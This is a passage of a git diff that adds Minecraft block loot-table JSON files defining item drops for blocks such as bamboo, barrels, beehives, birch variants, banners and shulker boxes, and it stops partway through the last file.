@@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:bamboo" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/bamboo_sapling.json b/src/data/minecraft/loot_tables/blocks/bamboo_sapling.json new file mode 100644 index 00000000..aa3fb022 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/bamboo_sapling.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:bamboo" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/barrel.json b/src/data/minecraft/loot_tables/blocks/barrel.json new file mode 100644 index 00000000..4cd5d89e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/barrel.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:barrel" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/basalt.json b/src/data/minecraft/loot_tables/blocks/basalt.json new file mode 100644 index 00000000..47d2d141 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/basalt.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:basalt" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/beacon.json b/src/data/minecraft/loot_tables/blocks/beacon.json new file mode 100644 index 00000000..e902ed99 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/beacon.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:beacon" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/bee_nest.json b/src/data/minecraft/loot_tables/blocks/bee_nest.json new file mode 100644 index 00000000..6c82df61 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/bee_nest.json @@ -0,0 +1,49 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Bees", + "target": "BlockEntityTag.Bees", + "op": "replace" + } + ] + }, + { + "function": "minecraft:copy_state", + "block": "minecraft:bee_nest", + "properties": [ + "honey_level" + ] + } + ], + "name": "minecraft:bee_nest" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/beehive.json b/src/data/minecraft/loot_tables/blocks/beehive.json new file mode 100644 index 00000000..962400c8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/beehive.json @@ -0,0 +1,58 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "functions": [ + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Bees", + "target": "BlockEntityTag.Bees", + "op": "replace" + } + ] + }, + { + "function": "minecraft:copy_state", + "block": "minecraft:beehive", + "properties": [ + "honey_level" + ] + } + ], + "name": "minecraft:beehive" + }, + { + "type": "minecraft:item", + "name": "minecraft:beehive" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/beetroots.json b/src/data/minecraft/loot_tables/blocks/beetroots.json new file mode 100644 index 00000000..59228957 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/beetroots.json @@ -0,0 +1,66 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:beetroots", + "properties": { + "age": "3" + } + } + ], + "name": "minecraft:beetroot" + }, + { + "type": "minecraft:item", + "name": "minecraft:beetroot_seeds" + } + ] + } + ] + }, + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:binomial_with_bonus_count", + "parameters": { + "extra": 3, + "probability": 0.5714286 + } + } + ], + "name": "minecraft:beetroot_seeds" + } + ], + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:beetroots", + "properties": { + "age": "3" + } + } + ] + } + ], + "functions": [ + { + "function": "minecraft:explosion_decay" + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/bell.json b/src/data/minecraft/loot_tables/blocks/bell.json new file mode 100644 index 00000000..ecfd29b0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/bell.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:bell" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/birch_button.json b/src/data/minecraft/loot_tables/blocks/birch_button.json new file mode 100644 index 00000000..6561da6a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/birch_button.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:birch_button" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/birch_door.json b/src/data/minecraft/loot_tables/blocks/birch_door.json new file mode 100644 index 00000000..7ddab83a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/birch_door.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:birch_door", + "properties": { + "half": "lower" + } + } + ], + "name": "minecraft:birch_door" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/birch_fence.json b/src/data/minecraft/loot_tables/blocks/birch_fence.json new file mode 100644 index 00000000..fc606bbe --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/birch_fence.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:birch_fence" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/birch_fence_gate.json b/src/data/minecraft/loot_tables/blocks/birch_fence_gate.json new file mode 100644 index 00000000..67cb4757 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/birch_fence_gate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:birch_fence_gate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/birch_leaves.json b/src/data/minecraft/loot_tables/blocks/birch_leaves.json new file mode 100644 index 00000000..64095928 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/birch_leaves.json @@ -0,0 +1,128 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ], + "name": "minecraft:birch_leaves" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + }, + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.05, + 0.0625, + 0.083333336, + 0.1 + ] + } + ], + "name": "minecraft:birch_sapling" + } + ] + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.02, + 0.022222223, + 0.025, + 0.033333335, + 0.1 + ] + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:stick" + } + ], + "conditions": [ + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/birch_log.json b/src/data/minecraft/loot_tables/blocks/birch_log.json new file mode 100644 index 00000000..298e44fe --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/birch_log.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:birch_log" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/birch_planks.json b/src/data/minecraft/loot_tables/blocks/birch_planks.json new file mode 100644 index 00000000..8f67ca73 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/birch_planks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:birch_planks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/birch_pressure_plate.json b/src/data/minecraft/loot_tables/blocks/birch_pressure_plate.json new file mode 100644 index 00000000..4dab30ac --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/birch_pressure_plate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:birch_pressure_plate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/birch_sapling.json b/src/data/minecraft/loot_tables/blocks/birch_sapling.json new file mode 100644 index 00000000..d479b444 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/birch_sapling.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:birch_sapling" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/birch_sign.json b/src/data/minecraft/loot_tables/blocks/birch_sign.json new file mode 100644 index 00000000..e7ec82ee --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/birch_sign.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:birch_sign" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/birch_slab.json b/src/data/minecraft/loot_tables/blocks/birch_slab.json new file mode 100644 index 00000000..4aa1fb38 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/birch_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:birch_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:birch_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/birch_stairs.json b/src/data/minecraft/loot_tables/blocks/birch_stairs.json new file mode 100644 index 00000000..2090a7af --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/birch_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:birch_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/birch_trapdoor.json b/src/data/minecraft/loot_tables/blocks/birch_trapdoor.json new file mode 100644 index 00000000..0d469ead --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/birch_trapdoor.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:birch_trapdoor" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/birch_wood.json b/src/data/minecraft/loot_tables/blocks/birch_wood.json new file mode 100644 index 00000000..9591f410 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/birch_wood.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:birch_wood" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/black_banner.json b/src/data/minecraft/loot_tables/blocks/black_banner.json new file mode 100644 index 00000000..cf902e57 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/black_banner.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Patterns", + "target": "BlockEntityTag.Patterns", + "op": "replace" + } + ] + } + ], + "name": "minecraft:black_banner" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/black_bed.json b/src/data/minecraft/loot_tables/blocks/black_bed.json new file mode 100644 index 00000000..4d22a02d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/black_bed.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:black_bed", + "properties": { + "part": "head" + } + } + ], + "name": "minecraft:black_bed" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/black_carpet.json b/src/data/minecraft/loot_tables/blocks/black_carpet.json new file mode 100644 index 00000000..817259e0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/black_carpet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:black_carpet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/black_concrete.json b/src/data/minecraft/loot_tables/blocks/black_concrete.json new file mode 100644 index 00000000..4a8c6ce1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/black_concrete.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:black_concrete" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/black_concrete_powder.json b/src/data/minecraft/loot_tables/blocks/black_concrete_powder.json new file mode 100644 index 00000000..b06f3422 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/black_concrete_powder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:black_concrete_powder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/black_glazed_terracotta.json b/src/data/minecraft/loot_tables/blocks/black_glazed_terracotta.json new file mode 100644 index 00000000..8a4e50a5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/black_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:black_glazed_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/black_shulker_box.json b/src/data/minecraft/loot_tables/blocks/black_shulker_box.json new file mode 100644 index 00000000..8b7e13f2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/black_shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:black_shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/black_stained_glass.json b/src/data/minecraft/loot_tables/blocks/black_stained_glass.json new file mode 100644 index 00000000..9050d599 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/black_stained_glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:black_stained_glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/black_stained_glass_pane.json b/src/data/minecraft/loot_tables/blocks/black_stained_glass_pane.json new file mode 100644 index 00000000..80b56763 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/black_stained_glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:black_stained_glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/black_terracotta.json b/src/data/minecraft/loot_tables/blocks/black_terracotta.json new file mode 100644 index 00000000..28b861da --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/black_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:black_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/black_wool.json b/src/data/minecraft/loot_tables/blocks/black_wool.json new file mode 100644 index 00000000..56e93ba4 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/black_wool.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:black_wool" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blackstone.json b/src/data/minecraft/loot_tables/blocks/blackstone.json new file mode 100644 index 00000000..590e758d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blackstone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:blackstone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blackstone_slab.json b/src/data/minecraft/loot_tables/blocks/blackstone_slab.json new file mode 100644 index 00000000..1117f570 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blackstone_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:blackstone_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:blackstone_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blackstone_stairs.json b/src/data/minecraft/loot_tables/blocks/blackstone_stairs.json new file mode 100644 index 00000000..6fb929b0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blackstone_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:blackstone_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blackstone_wall.json b/src/data/minecraft/loot_tables/blocks/blackstone_wall.json new file mode 100644 index 00000000..0dbe89f4 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blackstone_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:blackstone_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blast_furnace.json b/src/data/minecraft/loot_tables/blocks/blast_furnace.json new file mode 100644 index 00000000..0ca67e06 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blast_furnace.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:blast_furnace" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blue_banner.json b/src/data/minecraft/loot_tables/blocks/blue_banner.json new file mode 100644 index 00000000..4e6b4789 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blue_banner.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Patterns", + "target": "BlockEntityTag.Patterns", + "op": "replace" + } + ] + } + ], + "name": "minecraft:blue_banner" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blue_bed.json b/src/data/minecraft/loot_tables/blocks/blue_bed.json new file mode 100644 index 00000000..7d599c8f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blue_bed.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:blue_bed", + "properties": { + "part": "head" + } + } + ], + "name": "minecraft:blue_bed" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blue_carpet.json b/src/data/minecraft/loot_tables/blocks/blue_carpet.json new file mode 100644 index 00000000..0ffd2700 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blue_carpet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:blue_carpet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blue_concrete.json b/src/data/minecraft/loot_tables/blocks/blue_concrete.json new file mode 100644 index 00000000..7059ffc8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blue_concrete.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:blue_concrete" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blue_concrete_powder.json b/src/data/minecraft/loot_tables/blocks/blue_concrete_powder.json new file mode 100644 index 00000000..95e591dc --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blue_concrete_powder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:blue_concrete_powder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blue_glazed_terracotta.json b/src/data/minecraft/loot_tables/blocks/blue_glazed_terracotta.json new file mode 100644 index 00000000..7bfdd7d6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blue_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:blue_glazed_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blue_ice.json b/src/data/minecraft/loot_tables/blocks/blue_ice.json new file mode 100644 index 00000000..51498749 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blue_ice.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:blue_ice" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blue_orchid.json b/src/data/minecraft/loot_tables/blocks/blue_orchid.json new file mode 100644 index 00000000..444d178b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blue_orchid.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:blue_orchid" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blue_shulker_box.json b/src/data/minecraft/loot_tables/blocks/blue_shulker_box.json new file mode 100644 index 00000000..7137e6c1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blue_shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + 